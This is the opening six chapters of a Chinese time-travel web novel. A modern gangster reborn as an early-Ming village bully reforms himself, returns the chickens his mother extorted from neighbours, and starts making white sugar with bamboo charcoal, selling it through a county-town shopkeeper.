《身祧七家,我在大明当族长》 第一章 村霸 杨成头上包着白布,半躺在村头的小河边上,嘴里嚼着煮鸡蛋,两只脚搭在清凉的河水里,呆呆地望着天上的白云出神。 穿越过来一天一夜了,他还在倒年代差——从后世教父,变成明初农家小混混,落差巨大。 虽然后世也是小混混出身,但几十年血雨腥风后,他早已功成名就。 现在想想,那个小明星上床前给自己倒的红酒里,肯定有什么东西,让他过于鸡动。 辛辛苦苦几十年,一日回到解放前。 而且穿越开局也太差,当年做小混混时,最起码名声不错,可现在…… 河边几个摸小鱼虾的孩子都尽量远离他,哪怕他所在的位置,正是水草最多,摸小鱼虾的黄金位置。 无他,杨成是杨家湾一霸,别说这些孩子,就算村里最强壮的铁匠杨雄,也要退避三舍。 这倒不是杨成有万夫不当之勇。他等后天过了十六岁生日,才算正式成男丁。 由于平时鸡蛋管够,营养好,也算身高体健,但跟霸王之资肯定是不沾边儿的。 没人敢惹他的原因,是真跟他动起手来,打输了倒霉,打赢了更倒霉。 只要杨成挂彩,白寡妇一定会跑到杨家祠堂门口嚎啕大哭。 “杨长天你个短命鬼呀,你们七兄弟白死了呀,这杨家湾没有我们孤儿寡母的活路了呀!” 随之而来的,一定是老族长杨厚德的怒吼声。 “谁欺负了小成子?给我滚出来,自己到祠堂里跪一夜,再抓只鸡给长天家的!” 这十几年来,白寡妇靠着杨成的惹是生非,讹了不少只鸡养在家里,所以杨成从不缺鸡蛋吃。 要成大事,需得人心。这样的名声,以后如何成事儿?难道真当一辈子小混混? “成哥,成哥!你怎么跑这儿来了!赶紧去看热闹啊。白大娘在哭祠堂呢! 李香儿被她爹逼着跪了,她娘一手抱着女儿,一手抱着鸡,哭得比你娘还惨!” 从村子里跑来的是杨成的狐朋狗友,瘦的那个叫杨草,因为当年他娘在打猪草的时候把他生下来的。 胖的那个叫杨牛,是铁匠杨雄的儿子。得名和牛没啥关系,而是他创下了杨家湾新生儿的体重记录。 尽管杨成是村里有名的恶人,但没有家长禁止孩子跟他玩儿,只是叮嘱不能和杨成互殴。 不过小孩子天生是趋利避害的,被杨成欺负惯了,自然会避而远之。 大浪淘沙之下,杨成只剩下急需庇护的孤儿杨草,和崇拜杨成一家的傻小子杨牛这两个铁杆儿粉丝。 所谓铁杆粉丝,就是只分敌我,不论对错,杨成干坏事儿时他们会帮忙,事后还会作伪证。 比如这次杨成爬墙头儿偷看李香儿洗澡,是杨牛当的人梯,杨草把的风。 当杨成被李香儿用石头砸破头晕死过去后,杨草抚“尸”大哭,杨牛则坚称三人只是路过,啥也没干。 杨成跳了起来:“我娘不是答应我不闹事儿了吗?怎么又去了?” 杨草偷瞄了杨成一眼:“你说这话时,是刚醒过来,我们都以为你在说胡话呢。” 开玩笑,你家那么多鸡怎么来的?平时受点小伤都得赔鸡,这次差点打死,能轻饶了? 那不是胡话是什么?别说白大娘不信,就是我们哥俩儿也不信啊! “长天啊,要是你们兄弟还有一个活着的,谁敢这么欺负我们孤儿寡母啊!我糊涂的公公啊!” 白寡妇哭得三短一长,经验十足。而围观群众议论纷纷。 “李家这下倒霉了,不知道要多少只鸡才能过关啊。” “李正成天之乎者也,村学也给不了几个钱,鸡都赔光了,年下缴税可怎么办?” 李香儿跪在祠堂外面,她脸上的红晕早已消失,嫩白俊俏的脸上带着愤怒和委屈,泪水一颗颗地砸在地面上。 明明是杨成偷看了自己,可却没人在意,他们只在意杨成受了伤。 杨家湾一大半人都姓杨,自家是杂姓,势单力薄,本就无法争执对错。 不过李香儿也知道,今天这事儿也不是杨家人欺负杂姓,就算她叫杨香儿,也好不到哪儿去。 杨家湾的人都供着杨成,张口闭口就是:如果没有人家爷爷和七个儿子,杨家湾早就没了。 当年天下大乱,杀来杀去,而杨家湾很不幸就夹在朱元璋,张士诚和元庭三股势力之间。 这块地方不在交通要道上,没什么战略意义,也守不住。 所以不管哪边的兵马过来都是抢一遍,无非是杀人多少的区别。 实在活不下去了,为了自保,当时的族长杨厚丰拉起一只义军,不争天下,只保家护族。 附近村子的青壮也纷纷加入,这支规模不大的义军,跟各路兵马死磕了几次,名声在外。 这个屁大点的地方,粮食财物没多少,却有一支疯狗般的队伍。 谁敢进来烧杀抢掠,他们就跟谁拼命。 就像一根被狗啃过的骨头,一点肉都没有,还容易崩了牙。 没人愿意干赔本的买卖,所以这片地方居然在乱世中安稳存活下来了。 等朱元璋击败张士诚,大局已定,这支义军就顺势解散了。 只是那时,杨厚丰的七个儿子,都已经战死。只有老大杨长天留下了一个遗腹子,杨成。 白寡妇往祠堂门前一跪,就已经有人帮她把家里那个大鸡笼搬过来了。 李正的娘子从自家鸡笼里一只接一只地抓鸡,送进白寡妇的鸡笼里,抓一只停一下。 奈何今天白寡妇哭得格外凶狠,决心把李正家哭得鸡毛都不剩。 当李正家的鸡笼空空如也时,白寡妇依旧哭声不停,大家就知道,李家要倒大霉了。 老族长咳嗽一声,踱步到白寡妇面前,刚想开口,白寡妇的哭声陡然提高了八度。 “长天啊,你个短命鬼啊……” 老族长转头走到李正面前:“家里还有只猪吧?” 李正娘子大哭起来:“不让人活了?谁家都是赔鸡,我家就得赔猪!” 老族长看了李香儿一眼,暗自叹了口气。 谁家也没打过这么狠的,何况白寡妇为啥不依不饶,你心里没数儿吗? “李正啊,上次白寡妇提亲的事儿,没商量了吗?” 第二章 香火 李正掸了掸青色长衫上的尘土,正了正头上的儒冠,一脸的浩然正气。 “我李正虽屡试童生未果,但总归是读书人,我还是村学先生! 我女儿伤人,又没法证明杨天无礼偷窥,我家赔偿天经地义。 但杨成为人顽劣,我岂能将女儿推入火坑?此事万万不可!” 老族长都有些低声下气了:“小孩子嘛,难免顽劣,长大了就好了。” 李正摇头:“还小?明天就成丁了吧?何况她娘说他要一人祧七家香火,我女儿还活不活了?” 老族长声音更低了:“肯定还要再娶的嘛!一房娶一个娘子,这是规矩嘛。 至于钱的事儿,他家有一大群鸡呢,再说,族里也会帮衬的嘛!” 李正不为所动:“不说娶娘子的钱。七个娘子,七个儿子,就算一个女儿不生,人头税他缴得起吗? 就算族里帮衬,能帮都少?谁家不是紧巴巴的过日子,帮不起那天,还活不活了?” 大明的人头税确实吓人,兼祧七家,确实是个地狱级难度。 老族长心虚,但还是咬咬牙:“他父祖对这片土地有恩,肯定有人愿意少要聘礼了! 也就是同姓不通婚,否则我也不用这么为难了,早把我孙女嫁给他了。” 李正哼了一声:“隔壁就是刘家湾,媒人也去过,有人愿意嫁给杨成吗? 那就是火坑!打了人我认赔,就是赔个倾家荡产,我也不会拿女儿抵债!” 旁边白寡妇听得断断续续,但也大抵明白是谈崩了。 当下深吸一口气,胸前罩杯都大了两号,就准备施展终极狮子吼,哭李家个倾家荡产。 “娘,别哭了!我又没死!” 杨成领着两个铁杆粉丝,以冲锋队型跑到祠堂门口,扬起一片尘土,把笼子里的鸡吓得扑腾尖叫起来。 被打断施法的白寡妇看向从远处狂奔而来的儿子,十分恼怒。 你跑这么快干什么,就算要亲临现场,也该让那俩小子架着你,表示头晕目眩,伤重难愈啊。 你这副活蹦乱跳的模样,让为娘如何发挥? 昨天明明砸的都断了气,刚恢复一天就这么精神,看来短命鬼家的武将基因真不是吹的。 人们再次叹气,以往杨成虽然惹是生非,但索赔一向都是白寡妇负责。 今天杨成都亲自上阵了,可见此事难以善了,恐怕醉翁之意不在猪,而在白菜…… 杨成站住身形,没去看恨恨瞪着他的李香儿,而是十分规矩地给老族长行礼。 “族长爷爷,这事儿不怪李家,是我隔墙听见水声,想偷看香儿洗澡才爬墙的。 结果香儿只是在洗衣服,啥也没看见,反而挨了一石头,并不冤枉。” 嗯?众人都瞪大了眼睛,以为自己做梦了。 白寡妇更是大吃一惊,她顾不得再哭了,爬起来跑到儿子身边,摸着儿子的额头。 “完了完了,我的成儿被打坏了头,成傻子了!” 杨成淡定道:“娘,我没傻,我说的都是真的。他俩可以作证。” 杨草和杨牛对视一眼,立刻点头:“是的,他当的人梯,我放的风。” 白寡妇瞪着他俩:“放屁,昨天你俩说的只是路过而已!” 杨草吓得一缩脖儿,杨牛挺起胸脯,坚强道:“我白话了。” 李正一家极度震惊。杨成打开鸡笼子,把李家的鸡往回抓。 白寡妇气得举起手,最终还是没舍得打,气哼哼的转身回家了。 老族长虽然也震惊,但此事能如此了结,也让他庆幸不已。 这些年他给杨成吹黑哨,吹得老脸都不要了,想不到今天还能保住些良心。 “咳咳,此事杨成有错在先,李香儿无错,但杨成毕竟受了重伤,给两只鸡意思一下就行了。” 李正娘子生怕老族长反悔,赶紧把两只鸡又塞回去,却被杨成拒绝了。 “有错当罚,无错不罚。不是谁受伤谁就有理的。此事李家无错,无需赔偿。” 杨成和杨草抬着空鸡笼子离开了,杨牛被杨铁匠揪着耳朵,踢着屁股回家了。 村民们也议论纷纷散去,李家三口人愣了半天,才搬着鸡笼往家走。 李正忽然说道:“莫非真如厚德叔所说,这人长大了会变好?” 李香儿回头看了杨成的背影好几眼:“不可能。这无赖还是在说谎,他明明看见我……” 李正娘子一把捂住了女儿的嘴:“可别说了,幸亏他说谎了,以后你还得嫁人呢,什么好名声!” 李香儿愣了一下,脸上红了,嘴里低声念叨:“他会有那好心?分明就是敢做不敢当!” 杨成回到家,一院子鸡都在冲他喔喔叫,吵得不行。 白寡妇正在窝里捡鸡蛋,见儿子回来,没好气地瞪了他一眼。 “你昏头了是不是?我要鸡是为了谁啊?就你那名声,还得兼祧七家香火,没钱谁家姑娘肯嫁? 这次本来是天好的机会!你不是最喜欢李家姑娘吗?没准今天老娘加把劲就把她家拿下了!” 杨成虽然刚穿过来一天,但他继承了原主的记忆,对老娘的苦心自然了解。 兼祧七家香火,是当年老娘抱着襁褓中的杨成,对临终的爷爷做出的承诺。 老娘虽然泼辣凶蛮,却也是因人而异,家里穷的她下手就轻,宽裕点的下手就重。 她只要鸡鸭,不要钱,也是这个原因。能养鸡养鸭的人家,总归不会是吃不上饭的。 杨成笑嘻嘻地帮老娘捡鸡蛋,杨草缩着脖子把从河边抓的蚂蚱扔在院子里喂鸡。 晚饭时,杨草都不敢上桌了,白寡妇哼了一声:“等着谁请你啊?” 杨草低着头上了桌子。杨成没了爹,他却是爹娘都病死了。 他爹娘没给族里做出过什么大贡献,尤其他爹名声还不好,族里不会让他饿死,却也给不了更多照顾。 所以他几乎就长在杨成家,晚上都不愿回自己的破屋子睡觉,常常睡在这里。 一个有过七个儿子的家,不管有没有钱,院子必然是很大的,也不缺空屋子。 白寡妇在桌子上磕了三个煮鸡蛋,一个在杨成面前,一个在杨草面前。 过了一会儿,杨牛捂着屁股,哼哼唧唧地进门了,伸手直奔那个煮鸡蛋而去。 杨成见娘的气平了些,几口吃完饭,冲着收拾桌子的母亲开口。 “娘,我想把之前别人赔给咱家的鸡,都还回去。” 主屋里传来的爆炸声浪吓得已经进窝睡觉的鸡都跳起来了,哥哥哦哦啊啊的声音不停。 许久后才渐渐平静下来,白寡妇抹着眼泪,已经过了最伤心的时段。 “你行,你跟你爷你爹一样,都是好人。把命都搭上了还分文不取。 咱们家就我是坏人,我没脸没皮的到底是为了什么呀?还不是你们老杨家?” 杨成安慰道:“娘,我知道你都是为了我,为了咱家的香火,为了你对爷爷的承诺。 以前是我太混账,名声不好,逼得娘没有办法。可若如此下去,咱家的恩情和名声早晚会被耗尽的。 我要重振父祖声望,就不能贪图这些小利。男人要成事儿,钱财在其次,名声信义才是关键。” 白寡妇看着儿子,许久后忽然破涕为笑:“想不到李家丫头一石头还把你砸明白了。 我也不知道男人怎么能成大事儿,不过你刚才那样儿,和你爷他们活脱脱一个模子刻出来的。 行吧,反正下个月你就成丁了,这个家就是你的了,你爱怎么折腾就怎么折腾吧。 我就一个要求,我答应了你爷爷延续七家香火,你必须做到!” 第三章 还鸡 天刚蒙蒙亮,祠堂门口的大鼓就被敲响了。 老族长扑棱一下坐了起来,把身边的老伴儿吓得一激灵。 “啥事啊你,撞鬼了?” 老族长火急火燎地穿衣服:“我就说杨成昨天一反常态,肯定没憋好屁。 不知道他娘俩又商量出什么主意来了,我得赶紧看看去!” 老伴儿也叹了口气:“不管大家伙咋说,你可不能让小成子受了委屈。人家一家子……” 老族长摆摆手:“你放心吧,真当大家心里没数儿?光靠我偏袒能到今天? 白寡妇要几只鸡,大伙其实也不太计较的,否则还能咋帮嘛。 可是这媳妇毕竟不是鸡,总要讲个你情我愿的。咱杨家可没有欺负杂姓的名声。” 老族长毕竟上了岁数,腿脚慢了,等他到祠堂时,大门口已经聚了不少人了。 场面宏大,满地是鸡,鸡笼不够用,很多鸡都是用绳子捆着腿,趴在地上,作等死状。 见众人到齐了,杨成一拱手:“各位叔叔伯伯,爷爷奶奶,当着祖宗的面,小子有话要说。” 众人面面相觑,不知道这小子憋了一晚上,今天是不是要放个大的。 有人已经在心里默默回忆,最近是不是又有得罪杨成的地方。搞这么大的场面,恐怕要价低不了。 “过了今天,我就是杨家男丁了。前天夜里,我被李香儿打晕,梦见了爷爷,爹还有叔叔们。 他们没骂我,只说他们对不起我,养不教,父之过,是他们走得早,没能好好教育我。 他们说,杨家几百年传承,族中男子个个顶天立地,希望我不要给他们丢脸。” 人群一片黯然,男人们眼圈儿都红了,女人们则直接抹起了眼泪。 这反应和杨成设想的一模一样。昨天他这几句话一说,他娘就缴械投降了。 “小子醒来后,愧悔万分,想到往日种种,实在太过分了,我娘为我所累,也坏了名声。” 杨成自己也动了情,眼泪汪汪的,老族长第一个扛不住了。 “莫要如此说,要说养不教,父之过,这族中众人都有责任。 大家只知道心疼你,袒护你,却没人知道该怎么教导你。你,还是个孩子啊!” 情绪酝酿得差不多了,杨成转入正题。 “小子从今以后,要痛改前非。今日就与过往做个了断。” 说完,杨成拿出一个小本儿来,上面是白寡妇十几年来记的账,他从头开始念。 “洪武三年,成儿村中玩耍,被杨三儿家的狗娃撞了个跟头,大哭,得鸡一只。” “洪武四年,成儿村中玩耍,被杨长路水桶挂了,衣服破了,倒地大哭,得鸡两只。” “洪武五年,成儿村头摸鱼,与杨长水等三家孩子互殴,以少胜多,得鸡六只。” ………… “洪武十六年,成儿村中闲逛,被李香儿打破头,天杀的太狠了,一会儿去哭祠堂!” 杨成念一个,杨草和杨牛就帮忙如数拿鸡,赔偿给当初被讹的人家。 众人连连摆手表示不要:“赔就赔了,哪有还收回来的道理?不要不要!” 嘴里说着不要,眼睛还是忍不住往地上那群耷拉着脑袋的鸡身上看去,辨认着自家的芦花或大白。 而鸡们也都抬起头来,希望能有人带自己回家,毕竟当年离开家也是生活所迫 杨成团团作揖:“各位叔伯兄弟,爷爷奶奶,你们不收,就是不肯原谅我,那我只能离开杨家湾了。” 老族长吓了一跳:“收!这是孩子弃恶……这个痛改前非!谁敢不收!” 众人只得一一收下。被讹的人中,自然不只姓杨的,也有杂姓。 例如自从杨成看上李香儿后,李家先后被讹过好几次,这次领到了六七只鸡。 众人一瞬间,竟然有了零存整取,持家有道的感觉。 在温馨祥和的气氛中,老族长擦着眼泪,感谢杨家祖宗显灵,挽救了失足少年。 第二天清晨时分,祠堂正门打开,杨成正式成丁,族谱注名杨存成,是杨家“威武不屈,浩气长存”的存字辈。 在非正式场合下,叫两个字还是三个字,是比较随意的。 本来杨家子孙成丁,就是要有个仪式的,大家也都会给个红包,以示祝贺。 这次大家意外收到多年前赔出去的鸡,又欣喜杨成浪子回头,给的红包格外的丰厚。 白寡妇和妇女们呆在一起,十六年来关系难得的融洽,失去了满院子鸡的苦闷心情也就此减轻。 老族长咳嗽一声:“各位宗亲,杨成今日成丁,要一人祧七家香火,也就是要娶七房娘子。 每一房媳妇都是明媒正娶,要盖房,要聘礼,大家都得帮衬才是。 咱们杨家湾虽不富裕,但咱们绝不能忘恩负义!” 众人表情各异,有点头称是的,也有默然无语的。 这也不能怪他们,天下大乱后,刚稳定了十几年,大家都没什么家底儿。 自己儿子娶娘子都费劲,要挤出钱来帮杨成娶娘子,还要娶七房,实在是勉为其难。 杨成站起身来,朗声道:“各位兄弟长辈,我不用大家给我凑钱。明日起我便开始做生意。 大家若想帮我,便帮我把家中房子修缮一下,我要盖一间作坊出来。” 大家一听不用出钱,先是松了一口气,至于修缮房屋,那是出力的事儿。 今年官府的徭役已经出过了,地里的活儿女人先照料着,男人们出点力不算啥。 老族长虽然意外,但见杨成如此上进,也是老怀弥慰,又偷偷塞了点钱给杨成,让他做本钱。 第二天,杨成家院子里就开始动工,把原本养鸡的棚子拆了一大半儿,反正也没几只鸡了。 然后垒墙的垒墙,勾泥的勾泥,杨成拿着自己画的图纸指挥大家如何做。 反正是作坊又不是新房,细节不用太仔细,不塌不漏就行。 没几天,一间挺宽敞的房子就垒起来了,连里面的灶台,烟囱也都弄好了。 不过杨成说是作坊,却没告诉大家是做啥的,只说先试试看,等成功了再告诉大家。 全村只有杨铁匠家有牛车,因为职业原因,他经常出去采购铁料,没车是不行的。 带着杨草和杨牛赶车出杨家湾,走了一个时辰,才到了县城。 杨成赶车要往里走,守门税吏皱眉道:“不懂规矩吗?交钱!” 杨成一愣:“当我是傻子?我又不是没进过城,不是商人才缴税吗?” 税吏指着牛车:“车上拉着不少鸡蛋呢!车辆进城视同商人,五十文钱!” 第四章 进城 太贵了!杨成身上带着大家给的红包三百文,还有他娘给他的五百文,一共就八百文,已是全部家当。 洪武初年,经过战乱之后,银子铜钱在世面上流动的不多,多在商贾官府间流通。 而百姓手头银钱很少,民间经济多是以物易物。 例如杨成家算村里比较富裕的,家里有几百个鸡蛋,却很难有几百个铜钱。 至于银子,全村划拉划拉也未必曾凑出十两银子来,都是各家压箱底的宝贝。 官府收税也是以实物为主,要么收粮食,要么收布匹,也可以拿鸡鸭来顶,这也是大家养鸡鸭的原因之一。 这种情况随着大明的经济发展逐渐好转,但大明的银钱真正实现全社会流通,要到张居正推行“一条鞭法”之后了。 杨草开始跟税吏讲价,税吏很不耐烦:“你的钱又不是给我,老子一文也不敢贪,否则会掉脑袋的!” 这时另一个税吏眯着眼睛,忽然问道:“这是杨铁匠的牛车吧,你是杨家湾的?” 杨成点头:“是杨家湾的,我叫杨成,我爹是杨长天。” 那税吏一愣,冲要钱的税吏努努嘴,低声道:“是杨老虎的孙子。” 两个税吏默然片刻后小声道:“把牛卸下来牵着,另外两人拉着车进城门。人力车进城五文钱。” 三人赶紧依言照做,交了五文钱进了城。 一个税吏叹了口气:“其实不该收的,咱两个村子当初也多亏杨家的义军了。” 另一个嗯了一声:“没法子。听说又要出兵打蒙古人,朝廷缺钱,盯税盯得紧。” 进城后重新套上车,拉到卖菜的地方。鸡蛋算是市场上比较硬通的商品,慢慢卖也能卖掉。 但杨成没时间那么卖,他直接找到一个有铺面的菜商,把二百个鸡蛋一次性卖给他了。 当然价格会低,均匀个头的鸡蛋零售能卖到三文钱一个,批发就只能卖两文钱一个。 拿着一千两百文的“巨款”,杨成却没有妄动,他让杨牛看着车,让杨草去各个杂货铺买点村里人常用的零碎物件。 然后他在远处观察,观察了好几家,最终才确定了其中一家。 这家杂货铺生意清淡,但货品摆放得齐整,掌柜的愁容满面,拿着抹布一遍遍地擦着本就很干净的柜台。 其实要买红糖,大的糕点铺子里更好买,但那地方都是不讲价的,也看不上杨成这点生意。 见有客人上门,掌柜的赶紧堆起笑脸:“小哥要买点什么?我这小铺虽小,东西还是挺全的。 灯油蜡烛,针头线脑,团扇折扇,文房四宝,手绢鞋垫,蚊虫叮咬……” 杨成心说这不就是过去的两元店吗,他拱手道:“掌柜的怎么称呼?” 掌柜的拱手作揖:“小哥请了,在下刘通,不知小哥尊姓大名,有何指教?” 杨成笑道:“在下杨成,不知贵铺可有糖吗?” 刘通连连点头:“有有有,我年前进了两斤,买的人太少了,太贵了呀。” 说着宝贝的拿出一个铁盒来,里面果然是红糖,因为时间长了点,已经有些板结成块了。 不过红糖这东西,是没有过期一说的,也不会变质。 杨成问价格,刘通报三百文一斤。这是当时的市场价,绝对算奢侈品了。 不过杨成知道,他这红糖卖了半年多都没卖出去,再卖半年也未必能卖出去。 来光顾他这小店的,都不会是啥有钱人家,没事谁买糖吃啊。 于是砍价到一百五十文,刘通快跳起来了,他进价都比这高啊! 最后两人砍到二百二十文一斤,杨成边掏钱边告诉刘通,这个价,自己今天还要三斤,今后可能还会要更多。 刘通眼珠一转,冲后面喊了一声:“秀儿,出来给小哥倒茶。小哥稍坐喝茶,我很快就拿货回来。” 一个穿着布裙,柔柔弱弱的姑娘走出来,给杨成倒茶。 这姑娘眉清目秀,但和刘通一样,眉心间有愁容,笑容中也带这些勉强。 等着也是无事,杨成便和姑娘聊了几句,这才知道她并非刘通的女儿,而是父母双亡,来投奔舅舅的。 舅舅对她倒是不错,可也是小本生意,养家糊口也不容易,舅母也要出去做工贴补。 她身体柔弱,干不了重活,便帮舅舅看看店,做些刺绣,放在店里卖。 杨成拿起一把团扇,上面绣着几棵竹子,倒是颇为清雅,便问多少钱。 “白绢团扇十文钱,加了刺绣给十二文就行了。” 杨成笑着扔下十五文:“这刺绣有功底,至少值五文,不可委屈了姑娘。” 秀儿看了杨成一眼,似乎觉得他有些轻佻,脸上发红,不知该收还是不该收。 杨成正色道:“我并非说笑,姑娘的绣功显然是有名师指点的。 我看了这团扇后,忽然想到一门生意,想和姑娘合作,这三文钱就当定钱好了。” 秀儿诧异道:“难道你要卖刺绣吗?我的刺绣虽然看得过,可绣坊中的高手多着呢,比我厉害。” 杨成拿着团扇扇了两下:“这世上很多东西,值钱的不一定是最好,而是稀缺。” 说着话,刘通玩命地跑回来了,好像生怕外甥女留不住客户,让杨成跑了一样。 刘通带回四斤红糖来,颇为气愤:“那厮非让我把他家的四斤都包圆儿了,才肯给我低价。小哥你看要不就都要了吧?” 杨成摇头:“我今天身上的钱只够买五斤的,不过你放心,我很快会再来,到时不但你这一斤,再多几斤我也都要。” 刘通看着剩下的一斤红糖,心里没底:“小哥你肯定会再来吗?我要进了红糖,你不来了我可就完蛋了。” 杨成喝了口茶站起身:“我是城外杨家湾的,我叫杨成,如果无不来,你可以去找我。” 刘通愣了一下:“杨成?杨家湾?你是……杨将军的那个孙子?” 杨成点点头,刘通明显松了口气,这就是名望,就是无形资产的威力。 杨成看了秀儿一眼:“何况,我还有生意要和秀儿姑娘谈呢,一定会来的。” 等杨成走后,刘通喜笑颜开:“利润虽少点,但今天也赚了一百文。 秀儿啊,你和杨成有啥生意啊?拿杯子来,舅舅给你放点红糖补补。” 第五章 合作 出城后,牛车并没有直接回村,而是去了城外一片竹林。 这竹林是一个地主的产业,一些手工匠人会来买竹子打造编制各种器具售卖。 杨成的购买与众不同,他专门挑那种细一点的竹子,而且仔细观察竹子的横截面。 最后他挑了一大车的竹子段,大部分是别人切下来的末梢下脚料,很便宜,几十文钱买了一大车。 拉了一车竹子,牛车速度也慢了许多,等回到村里,天已经快黑了。 听说儿子把钱都花光了,全买了红糖,白寡妇气得直跺脚。 先还鸡,又买糖,真是败家呀。可她也没办法,丈夫死了,儿子成丁就是一家之主了。 杨成笑嘻嘻地拿出点红糖来,给娘冲了杯红糖水,又哄了半天,说自己心里有数儿。 哄完娘,杨成进了作坊。作坊里有两个炉子,一大一小。 杨草和杨牛打下手,先点燃大的炉子,用从杨牛家里拿来的铁箱子,把竹子段放进去,用黄泥密封闷好。 这么简陋的设备,废品率会比较高,但杨成不在乎,反正他不需要很多。 折腾一天后,一箱子竹炭烧成,接下来才是关键时刻。 把另一个小炉子点着,拿一个长嘴铁水壶装满水,烧开。 将水壶的长嘴插进铁箱子泥封缝隙中,让水蒸气进入箱子里,大炉子火力全开,猛火急攻。 杨牛把他爹打铁用的风箱拉得呼呼直响,就像拉二胡一样,胖脸上满是汗水。 几个小时后,熄火,等铁箱子自然冷却,杨成打开箱子,满意地看到其中一部分竹炭已经变了颜色。 虽然和后世工业制作的活性炭不能相比,但在这时候,绝对是划时代的发明了。 然后拿下水壶,生火坐锅,熬煮糖浆。 其实和很多穿越小说里写的不同,中国的白糖出现得并不晚。 在宋代人们就已经会用黄泥浆浇淋法制作白糖了,不过做出来的白糖,有些发黄,但价格也比红糖贵很多。 偶尔阴差阳错,弄出一点很白的白糖来,人们尊为“糖霜”,作为皇家贡品,以及达官贵人的顶级奢侈品。 不过黄泥浆浇淋法出现之后,很长时间里制糖工艺没有什么大的进步。 而用活性炭制作白糖的工艺,和黄泥浆浇淋法原理类似,但制作出糖霜的概率会大大增加。 泥烧成的漏斗,是杨成从杨三儿家借来的。在没有塑料的年代,漏斗要么是铁皮的,要么是泥烧的。 做白糖,铁皮漏斗不如泥烧得好。随着活性炭被浇下去,糖浆中的色素成分和杂质逐渐被活性炭颗粒吸附。 最上层的三分之一,开始逐渐褪色,变成白色。这就是此时的顶级奢侈品——糖霜。 这个过程并不是很快,为了质量更好,反复处理,至少需要三天的时间。 糖霜弄出来了,只是赚钱的第一步。而赚钱,只是杨成要在大明功成名就的第一步。 可偏偏这第一步,就难走得很。 在很多爽文里,在古代做出跨时代的好东西来,就会有人拿银子抢着来买。 可实际上在洪武年间,经商要艰难得多。没办法,朱元璋实在是太讨厌商人了。 朱元璋是农民出身,他坚定地认为天下大乱是因为没饭吃,而没饭吃是因为人们没好好种地。 十天饿九顿,讨饭没人理的惨痛经历,让他在种地这件事儿上多少有点应激了。 杨成作为一个农户,到城里卖几个鸡蛋是合情合理的,但卖糖霜这事儿,就有经商的性质了。 至少在洪武年间,商人的地位是很低下的,不能穿丝绸,不能养奴仆,不能科举,等同贱籍。 杨成是要挖第一桶金,不是要挖断自己的后路,这也是他为何要精选刘通家杂货铺的原因。 带着兄弟们再次进城,这次就不用再赶牛车了,而是每人花一文钱,打了个进城送菜的顺风牛车。 杨草小声问道:“哥,那么多杂货铺,你为啥非要选刘通家的?他家本钱有限啊!” 杨成淡然道:“其他几家杂货铺,生意好的,掌柜的过于狡诈,合作起来风险太高。 生意差的,破罐子破摔毫无心气儿,东西摆得乱七八糟,柜台上尘土都懒得擦了,没有上进心。 刘通的铺子生意不好,可他的心气儿还没散,跟这样的人合作,有很多好处,你慢慢就懂了。” 杨成后世靠拳脚拼杀起家,明白这些商业逻辑已经是快三十岁左右的事儿了。 既然重活一次,自然不会再走当年的弯路了。 进了城,直奔刘通的铺子。刘通早已望眼欲穿,毕竟一天赚一百文的好日子可不是总有的。 见到杨成,刘通赶紧喊秀儿出来倒茶。一回生二回熟,秀儿也不像上次那么羞怯了。 “刘掌柜,我这里有点东西,想让你帮忙卖出去。” 刘通心里一沉,合着今天不是来买东西的?我可又进了好几斤红糖啊,这下糟糕了。 他强笑道:“是什么好东西?我这铺子小本经营,大客户不多,贵重物品不好卖的。” 杨成掏出木盒,放在刘通面前。刘通狐疑地打开,眼睛顿时瞪圆了。 “糖、糖霜?这么多?” 这是两斤多白糖,损耗差不多是一半儿。没办法,黄泥水淋糖法损耗就是高,何况设备还比较粗糙。 但此时的糖霜价格,几乎是红糖的二十倍,也就是说,虽然损耗一半,也至少有十倍的利润。 倒不是白糖比红糖少吃多少,而是富商贵族们要的就是这个范儿,鸡白点都更值钱,何况糖乎? 震惊过后,刘通又有些迟疑:“小哥……杨兄弟,这糖霜贵重,我这小铺连红糖都卖不出去……” 杨成早就想到了这一点:“商有商路,在你的铺子里自然卖不出去。但你可以把它卖给大铺子。 我只收你三千文一斤,你至少可以卖到四千文。同样的糖霜,那些大铺子进价不会比这个低。” 刘通也不笨,立刻明白了:“杨兄弟是不想背上经商的名声,想让我出面跑腿,这个我懂了。 不过朝廷的商税高,要收两成。四千文的商税就要八百文,一斤我只能赚两百文,太少了点。” 杨成笑道:“你这店一天能赚一百文吗?你一斤赚两百文,这两斤半就是五百文,少吗?” 刘通苦笑道:“卖这种贵货,让人眼红,都以为你赚了多少呢,税吏也要打点一二,你再给降点。” 刘通嘴上虽说着,手却死死地抓着木盒不放,显然是舍不得放弃这个跑腿儿的生意。 杨成点点头:“刚好,我还跟秀儿姑娘有些生意,看在她的面子上,我降两百文给你。 但有一点,你不能告诉别人这货是从我这里来的,什么时候能说,由我来定。” 第六章 混混 刘通连连点头,心说你让我说我也不说,你不愿意当商户最好,免得那些大铺子直接踢开我找你。 要收下这两斤半糖霜,刘通手里的钱是不太够的。不过杨成告诉他好说。 刘通手里有五斤红糖,还是按二百二十文,抵扣了一千一百文。 剩下的,给杨成凑了两千文铜钱,又从箱子底拿出一两银子,当一千文。 余下的,只能等糖霜出手后再结,总不能为了赚钱把资金链干断了。 杨成拿起白绢的团扇,这种小团扇有两种,一种是用整块绢子的,这种就贵,一把要三十文。 而刘通店里的,是用两个半块的绢子拼成一个团扇的,用的往往是做衣服剩下的边角料,所以虽属绸缎,价格却也不贵,只要十文就够了。 这种绢扇为了美观,往往在中间加一条竹梁,掩盖两块绢子中间的针脚。 很多文人墨客喜欢买了白扇,自己题诗作画,也有的喜欢买上面有现成书墨刺绣的。 杨成拿起笔来,在纸上写下一行字:“秀儿姑娘,这十把白扇子我买了,你帮我绣上这句诗。 每把扇子我给你五文钱工钱。记住,只绣右边的一半,左边的空着。” 秀儿拿起那张纸来看了一眼,忽然愣住了,看向杨成的目光也变得有些水气。 “杨公子,这……这是你写的?” 杨成点点头,毫不脸红的说道:“没错,是我写的。” 等杨成走出很远,秀儿还在看着他的背影。 刘通给铺门上了板儿,告诉秀儿:“秀儿,今天提前关门了,省得那些无赖假装买东西骚扰你。 舅舅出去卖糖霜去,你在后院呆着就好。歇够了就刺绣。 绣几个字就给五文钱,可比你原来绣竹子轻省多了。” 出城的路上,杨草紧紧地捂着怀里的银子和铜钱,生怕一不小心弄丢了。 杨牛则咧着大嘴,手里抱着红糖罐子,一副穷人乍富,不知道迈哪条腿的架势。 这不怪他俩,实在是他俩也没见过这么多银钱。 杨草就不用说了,家徒四壁。杨牛作为铁匠之子,家境在村里是比较宽裕的,但大多以固定资产形式存在,银钱也不多。 